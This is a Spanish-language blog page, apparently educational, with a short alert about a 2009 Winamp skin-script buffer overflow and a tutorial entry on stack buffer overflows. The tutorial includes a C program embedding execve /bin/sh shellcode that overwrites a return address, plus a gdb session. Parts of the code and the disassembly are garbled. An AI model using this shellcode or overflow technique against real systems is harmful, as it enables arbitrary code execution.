20mar/09Desactivado
Desbordamiento de buffer en Winamp 5.541 o inferior
SkD ha descubierto el 5 de este mismo mes de marzo 2009 un exploit que provoca un desbordamiento de buffer en Winamp. El problema radica en los scripts .maki de las pieles. Si se explota esta vulnerabilidad se puede llegar a ejecutar cualquier código en nuestra máquina con sus correspondientes consecuencias. Avisados quedan.Prueba de concepto
1feb/09Desactivado
[FADB] 9. Ejecución de una cadena de caracteres mediante desbordamiento de buffer
FUNDAMENTOS DE LOS ATAQUES POR DESBORDAMIENTO DE BUFFER¿Cómo obtenemos el mismo resultado utilizando la técnica del desbordamiento de buffer? Podemos crear un array que contenga varias veces la dirección de la cadena de caracteres ejecutable y copiarlo a un buffer más pequeño, desbordándolo y con suerte sobreescribiendo la dirección de retorno en la pila. Echémosle un vistazo al siguiente código en C, llamado prueba5.c:
char str[50];
void main()
{
char *code= // 26 bytes
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x2f\x73\x68\x00" // pushl $0x68732f
"\x68\x2f\x62\x69\x6e" // pushl $0x6e69622f
"\x89\xe3" // movl %esp,%ebx
"\x50" // pushl %eax
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\x31\xd2" // xor %edx,%edx
"\xb0\x0b" // movb $0x0b,%al
"\xcd\x80" // int $0x80
;
int i;
char buff[5];
int *p = (int *)str;
for (i = 0; i <>: push %ebp
0x804833d
0x804833f
0x8048342
0x8048345
0x804834a
0x804834c
0x8048353
0x804835a
0x8048361
0x8048365
0x8048367
0x8048369
0x804836c
0x804836e
0x8048371
0x8048373
0x8048376
0x8048379
0x804837c
0x804837f
0x8048381
0x8048384
0x8048389
0x804838c
0x804838d
0x8048392
0x8048395
0x8048396
End of assembler dump.
(gdb)
Creo que el código en C queda suficientemente claro, no vamos a entrar en los detalles en ensamblador. Sin emabargo vamos a poner un punto de interrupción justo antes de RET (
(gdb) b *0x8048396
Breakpoint 1 at 0x8048396: file prueba5.c, line 28.
(gdb) r
Starting program: /home/m0s/Programacion/C%2fC++/prueba5
Breakpoint 1, 0x08048396 in main () at prueba5.c:28
(gdb) i r esp
esp 0xbffff80c 0xbffff80c
(gdb) x 0xbffff80c
0xbffff80c: 0x080483e8
(gdb) x 0x080483e8
0x80483e8 <_io_stdin_used+4>: 0x6850c031
(gdb)
Efectivamente salta a nuestra cadena de caracteres maliciosa.